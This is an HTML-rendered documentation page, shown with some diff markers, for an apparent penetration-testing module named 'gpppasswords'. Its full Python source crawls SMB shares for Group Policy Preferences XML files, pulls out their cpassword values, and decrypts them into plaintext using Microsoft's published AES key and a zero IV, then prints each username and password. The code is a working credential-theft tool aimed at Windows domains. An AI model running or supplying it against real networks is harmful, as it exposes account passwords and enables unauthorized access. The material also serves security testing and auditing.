    +176        Decrypts a password from its Base64 encoded form using a known AES key and IV.
    +177
    +178        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
    +179
    +180        Args:
    +181            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
    +182
    +183        Returns:
    +184            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
    +185        """
    +186
    +187        if len(pw_enc_b64) != 0:
    +188            # Thank you Microsoft for publishing the key :)
    +189            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
    +190            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
    +191            # Thank you Microsoft for using a fixed IV :)
    +192            iv = b"\x00" * 16
    +193            pad = len(pw_enc_b64) % 4
    +194            if pad == 1:
    +195                pw_enc_b64 = pw_enc_b64[:-1]
    +196            elif pad == 2 or pad == 3:
    +197                pw_enc_b64 += "=" * (4 - pad)
    +198            pw_enc = base64.b64decode(pw_enc_b64)
    +199            ctx = AES.new(key, AES.MODE_CBC, iv)
    +200            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
    +201            return pw_dec.decode("utf-16-le")
    +202        else:
    +203            # cpassword is empty, cannot decrypt anything.
    +204            return ""
    +205
    +206    def __find_callback(self, entry, fullpath, depth):
    +207        """
    +208        Callback function for SMB session find method. This function is called for each entry found in the search.
    +209
    +210        This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range.
    +211
    +212        Args:
    +213            entry (SMBEntry): The current file or directory entry being processed.
    +214            fullpath (str): The full path to the current entry.
    +215            depth (int): Depth of the path.
    +216            
    +217        Returns:
    +218            None: This function does not return any value.
    +219        """
    +220
    +221        # Match and print results
    +222        do_print_results = True
    +223        if self.options.mindepth is not None:
    +224            if depth < self.options.mindepth:
    +225                do_print_results = False
    +226        if self.options.maxdepth is not None:
    +227            if depth > self.options.maxdepth:
    +228                do_print_results = False
    +229        
    +230        if do_print_results:
    +231            if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')):
    +232                data = self.parse_xmlfile_content(fullpath)
    +233                if data is not None:
    +234                    if len(data) != 0:
    +235                        print("[+] %s" % fullpath)
    +236                        for entry in data:
    +237                            if self.config.no_colors:
    +238                                print("  | username: '%s'" % entry["attributes"]["username"])
    +239                                print("  | password: '%s'" % entry["attributes"]["password"])
    +240                            else:
    +241                                print("  | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"])
    +242                                print("  | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"])
    +243                            if len(data) > 1:
    +244                                print("|")
    +245        return None
    +246
    +247    def run(self, arguments):
    +248        """
    +249        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
    +250
    +251        Args:
    +252            base_dir (str): The base directory to start the search from.
    +253            paths (list): List of paths to search within the base directory.
    +254            depth (int): The current depth level in the directory hierarchy.
    +255
    +256        Returns:
    +257            None
    +258        """
    +259
    +260        self.options = self.parseArgs(arguments=arguments)
    +261
    +262        if self.options is not None:
    +263            # Entrypoint
    +264            try:
    +265                next_directories_to_explore = []
    +266                for path in list(set(self.options.paths)):
    +267                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
    +268                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
    +269                
    +270                self.smbSession.find(
    +271                    paths=next_directories_to_explore,
    +272                    callback=self.__find_callback
    +273                )
    +274
    +275            except (BrokenPipeError, KeyboardInterrupt) as e:
    +276                print("[!] Interrupted.")
    +277                self.smbSession.close_smb_session()
    +278                self.smbSession.init_smb_session()
    +
    + + +

    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. +It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.

    + +

    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.

    + +

    Attributes: + name (str): The name of the module, used in command line invocation. + description (str): A brief description of what the module does.

    + +

    Methods: + parseArgs(arguments): Parses and handles command line arguments for the module. + parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.

    +
    + + +
    +
    + name = +'gpppasswords' + + +
    + + + + +
    +
    +
    + description = +'Searches for Group Policy Preferences Passwords in a share.' + + +
    + + + + +
    +
    + +
    + + def + parseArgs(self, arguments): + + + +
    + +
    43    def parseArgs(self, arguments):
    +44        """
    +45        Parses the command line arguments provided to the module.
    +46
    +47        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
    +48
    +49        Args:
    +50            arguments (str): A string of command line arguments.
    +51
    +52        Returns:
    +53            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
    +54        """
    +55
    +56        parser = ModuleArgumentParser(prog=self.name, description=self.description)
    +57
    +58        # Adding positional arguments
    +59        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
    +60
    +61        # Adding actions
    +62        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    +63        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    +64
    +65        # Other options
    +66        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
    +67        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
    +68
    +69        if len(arguments.strip()) == 0:
    +70            parser.print_help()
    +71            return None
    +72        else:
    +73            self.options = self.processArguments(parser, arguments)
    +74
    +75        return self.options
    +
    + + +

    Parses the command line arguments provided to the module.

    + +

    This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.

    + +

    Args: + arguments (str): A string of command line arguments.

    + +

    Returns: + ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.

    +
    + + +
    +
    + +
    + + def + parse_xmlfile_content(self, pathtofile): + + + +
    + +
     77    def parse_xmlfile_content(self, pathtofile):
    + 78        """
    + 79        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
    + 80
    + 81        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
    + 82
    + 83        Args:
    + 84            pathtofile (str): The path to the XML file on the SMB share.
    + 85
    + 86        Returns:
    + 87            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
    + 88        """
    + 89
    + 90        results = []
    + 91        fh = io.BytesIO()
    + 92        try:
    + 93            # opening the files in streams instead of mounting shares allows for running the script from
    + 94            # unprivileged containers
    + 95            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
    + 96        except impacket.smbconnection.SessionError as e:
    + 97            return results
    + 98        except Exception as e:
    + 99            raise
    +100        rawdata = fh.getvalue()
    +101        fh.close()
    +102        gppp_found = False
    +103        encoding = charset_normalizer.detect(rawdata)["encoding"]
    +104        if encoding is not None:
    +105            filecontent = rawdata.decode(encoding).rstrip()
    +106            if "cpassword" in filecontent:
    +107                gppp_found = True
    +108            else:
    +109                if self.config.debug:
    +110                    print("[debug] No cpassword was found in %s" % pathtofile)
    +111    
    +112        if gppp_found:
    +113            try:
    +114                root = minidom.parseString(filecontent)
    +115                xmltype = root.childNodes[0].tagName
    +116                # function to get attribute if it exists, returns "" if empty
    +117                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
    +118
    +119                # ScheduledTasks
    +120                if xmltype == "ScheduledTasks":
    +121                    for topnode in root.childNodes:
    +122                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +123                        for task in task_nodes:
    +124                            for property in task.getElementsByTagName("Properties"):
    +125                                results.append({
    +126                                    "tagName": xmltype,
    +127                                    "attributes": {
    +128                                        "username": read_or_empty(task, "name"),
    +129                                        "runAs": read_or_empty(property, "runAs"),
    +130                                        "cpassword": read_or_empty(property, "cpassword"),
    +131                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +132                                        "changed": read_or_empty(property.parentNode, "changed"),
    +133                                    },
    +134                                    "file": pathtofile
    +135                                })
    +136                elif xmltype == "Groups":
    +137                    for topnode in root.childNodes:
    +138                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +139                        for task in task_nodes:
    +140                            for property in task.getElementsByTagName("Properties"):
    +141                                results.append({
    +142                                    "tagName": xmltype,
    +143                                    "attributes": {
    +144                                        "username": read_or_empty(property, "newName"),
    +145                                        # "userName": read_or_empty(property, "userName"),
    +146                                        "cpassword": read_or_empty(property, "cpassword"),
    +147                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +148                                        "changed": read_or_empty(property.parentNode, "changed"),
    +149                                    },
    +150                                    "file": pathtofile
    +151                                })
    +152                else:
    +153                    for topnode in root.childNodes:
    +154                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +155                        for task in task_nodes:
    +156                            for property in task.getElementsByTagName("Properties"):
    +157                                results.append({
    +158                                    "tagName": xmltype,
    +159                                    "attributes": {
    +160                                        "username": read_or_empty(property, "newName"),
    +161                                        # "userName": read_or_empty(property, "userName"),
    +162                                        "cpassword": read_or_empty(property, "cpassword"),
    +163                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +164                                        "changed": read_or_empty(property.parentNode, "changed"),
    +165                                    },
    +166                                    "file": pathtofile
    +167                                })
    +168
    +169            except Exception as e:
    +170                raise
    +171
    +172        return results
    +
    + + +

    Parses the content of an XML file to extract credentials related to Group Policy Preferences.

    + +

    This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.

    + +

    Args: + pathtofile (str): The path to the XML file on the SMB share.

    + +

    Returns: + list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.

    +
    + + +
    +
    + +
    + + def + decrypt_password(self, pw_enc_b64): + + + +
    + +
    174    def decrypt_password(self, pw_enc_b64):
    +175        """
    +176        Decrypts a password from its Base64 encoded form using a known AES key and IV.
    +177
    +178        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
    +179
    +180        Args:
    +181            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
    +182
    +183        Returns:
    +184            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
    +185        """
    +186
    +187        if len(pw_enc_b64) != 0:
    +188            # Thank you Microsoft for publishing the key :)
    +189            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
    +190            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
    +191            # Thank you Microsoft for using a fixed IV :)
    +192            iv = b"\x00" * 16
    +193            pad = len(pw_enc_b64) % 4
    +194            if pad == 1:
    +195                pw_enc_b64 = pw_enc_b64[:-1]
    +196            elif pad == 2 or pad == 3:
    +197                pw_enc_b64 += "=" * (4 - pad)
    +198            pw_enc = base64.b64decode(pw_enc_b64)
    +199            ctx = AES.new(key, AES.MODE_CBC, iv)
    +200            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
    +201            return pw_dec.decode("utf-16-le")
    +202        else:
    +203            # cpassword is empty, cannot decrypt anything.
    +204            return ""
    +
    + + +

    Decrypts a password from its Base64 encoded form using a known AES key and IV.

    + +

    This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.

    + +

    Args: + pw_enc_b64 (str): The Base64 encoded string of the encrypted password.

    + +

    Returns: + str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.

    +
    + + +
    +
    + +
    + + def + run(self, arguments): + + + +
    + +
    247    def run(self, arguments):
    +248        """
    +249        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
    +250
    +251        Args:
    +252            base_dir (str): The base directory to start the search from.
    +253            paths (list): List of paths to search within the base directory.
    +254            depth (int): The current depth level in the directory hierarchy.
    +255
    +256        Returns:
    +257            None
    +258        """
    +259
    +260        self.options = self.parseArgs(arguments=arguments)
    +261
    +262        if self.options is not None:
    +263            # Entrypoint
    +264            try:
    +265                next_directories_to_explore = []
    +266                for path in list(set(self.options.paths)):
    +267                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
    +268                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
    +269                
    +270                self.smbSession.find(
    +271                    paths=next_directories_to_explore,
    +272                    callback=self.__find_callback
    +273                )
    +274
    +275            except (BrokenPipeError, KeyboardInterrupt) as e:
    +276                print("[!] Interrupted.")
    +277                self.smbSession.close_smb_session()
    +278                self.smbSession.init_smb_session()
    +
    + + +

    This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.

    + +

    Args: + base_dir (str): The base directory to start the search from. + paths (list): List of paths to search within the base directory. + depth (int): The current depth level in the directory hierarchy.

    + +

    Returns: + None

    +
    + + +
    + +
    +
    + + \ No newline at end of file